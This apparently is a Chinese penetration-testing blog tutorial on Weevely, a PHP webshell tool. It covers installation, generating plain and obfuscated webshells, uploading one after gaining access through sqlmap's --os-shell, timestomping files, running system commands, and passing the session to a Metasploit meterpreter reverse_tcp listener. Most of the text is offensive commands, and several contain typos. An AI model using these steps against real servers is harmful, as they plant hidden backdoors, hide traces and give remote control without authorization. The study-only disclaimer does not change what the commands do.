渗透测试Web利器篇之Weevely介绍、安装以及简单使用

提示：文章内容仅用于渗透测试研究学习，请勿用于非法测试

---

一、Weevely介绍

• Weevely是一款使用python编写的webshell工具，集webshell生成和连接于一身，采用c/s模式
  构建，可以算作是linux下的一款php菜刀替代工具，具有很好的隐蔽性
• 在linux上使用时还是很好的，集服务器错误配置审计，后门放置，暴力破解，文件管理，资
  源搜索，网络代理，命令执行，数据库操作，系统信息收集及端口扫描等功能
• 下载地址：https://github.com/epinna/weevely3
• 其他WebShell管理工具：中国菜刀、中国蚁剑、冰蝎（点我，去我之前的文章查看）

二、安装

Kali系统应该是集成了weevely，如果没有或者使用其他的Linux系统，自己安装一下就可以了。

#确保安装了 python 包管理器和 yaml 库
$ sudo apt-get install -y python3 python3-pip curl
$ cd weevely3/
$ sudo pip3 install -r requirements.txt --upgrade

三、命令

• 生成Shell

  weevely generate <password> <文件名>
  //如：
  weevely generate 123456 shell.php
  

• 连接Shell

  weevely <URL> <password> [cmd]
  //如
  weevey http://xxxx.com/shell.php 123456
  

• 生成混淆Shell

  weevely generate -obfuscator cleartext1_php <password> <文件名>
  //如：
  weevely generate -obfuscator cleartext1_php 123456 shell.php
  

1、使用weevely生成webshell文件，如文件名 shell.php，密码 123456
2、使用sqlmap的 --os-shell命令，拿到shell以及上传文件的后门地址
3、将weevely生成的shell.php文件上传，再使用weevely + url + 密码 进行连接

四、模块的使用

1. 信息收集

   :system_info  //收集系统信息模块，如下
   :system_info -info client_ip  //查找自己连接IP
   

2. 文件管理

   :file_touch  //修改文件时间模块，如下
   :file_touch -human-ts '2022-04-20 20:30:21' 文件名
   

3. 命令执行

   :shell_php  //执行PHP命令模块，如下
   :shell_php system('ipconfig');
   

4. 会话转移（Kali中很多工具和数据都是互通的）

   //在终端1中，生成meterpreter会话
   :backdoor_meterpreter -payload php/meterpreter/reverse_tcp -Ihost 本机IP -port 端口
   
   //在终端2中，启动MSF，并设置监听会话，直到会话转移过来
   service postgresq  start    //启动postgresql数据库
   msfdb reinit     //初始化msfdb
   msfdb start      //启动msfdb
   msfconsole       //启动msf
   
   use exploit multi/handler
   show paylaods
   set payload php/meterpreter/reverse_top
   show options
   set Ihost 本机IP
   run